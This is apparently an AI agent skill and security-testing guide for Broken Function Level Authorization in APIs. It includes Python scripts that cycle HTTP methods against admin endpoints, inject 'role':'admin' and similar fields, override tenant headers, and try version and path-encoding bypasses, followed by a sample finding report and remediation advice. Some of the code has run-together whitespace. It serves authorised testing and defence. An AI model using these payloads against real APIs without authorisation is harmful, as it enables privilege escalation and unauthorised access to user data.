Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.
# Test if authorization is method-dependentdeftest_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") elseNone,
timeout=5)
status = "ACCESSIBLE"if resp.status_code notin (401, 403, 405) else"blocked"if status == "ACCESSIBLE":
print(f" [{status}] {method}{endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
Step 4: Parameter-Based Privilege Escalation
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changedif"role"in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
Step 5: API Version and Path Traversal for Admin Access
# Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code notin (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
# Test path-based bypass techniques
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding"/api/v1/./admin/users", # Path traversal"/api/v1/admin/../admin/users", # Double path"/api/v1/;/admin/users", # Semicolon insertion"/api/v1/admin/users.json", # Extension addition"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code notin (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
Key Concepts
Term
Definition
BFLA
Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks
Vertical Privilege Escalation
Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints
RBAC
Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users
Function-Level Authorization
Access control checks that verify whether the authenticated user has permission to invoke a specific API function
Admin Endpoint
API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration
Forced Browsing
Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions
Tools & Systems
Burp Suite Professional: Intercept requests as admin, then replay with regular user token to test function-level authorization
OWASP ZAP: Forced Browse scanner to discover hidden administrative endpoints and test access control
Autorize (Burp Extension): Automated BFLA detection by replaying admin requests with regular user credentials
Nuclei: Template-based scanner with BFLA detection templates for common frameworks
Common Scenarios
Scenario: SaaS Multi-Tenant API BFLA Assessment
Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach:
Map admin endpoints from the frontend JavaScript bundle: search for /admin/, /manage/, and role-check conditionals
Discover 12 admin endpoints including user management, billing, feature flags, and audit logs
Test each admin endpoint with regular user token:
GET /api/v1/admin/users returns 200 with all user data (BFLA - read)
PUT /api/v1/admin/users/1002/role accepts role change (BFLA - write)
Test method-based bypass: GET /api/v1/admin/settings returns 403, but PUT /api/v1/admin/settings returns 200
Find that the moderator role can access all admin endpoints except DELETE /api/v1/admin/billing
Discover /api/v2/admin/users exists without any authorization (shadow API version)
Pitfalls:
Only testing GET requests on admin endpoints while missing BFLA in POST/PUT/DELETE methods
Not discovering admin endpoints because they are not linked in the UI (requires endpoint enumeration)
Assuming RBAC is enforced consistently because one admin endpoint returned 403
Missing BFLA in internal/undocumented API endpoints not listed in the OpenAPI specification
Not testing with all available role levels (moderator may have partial admin access)
Output Format
## Finding: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete
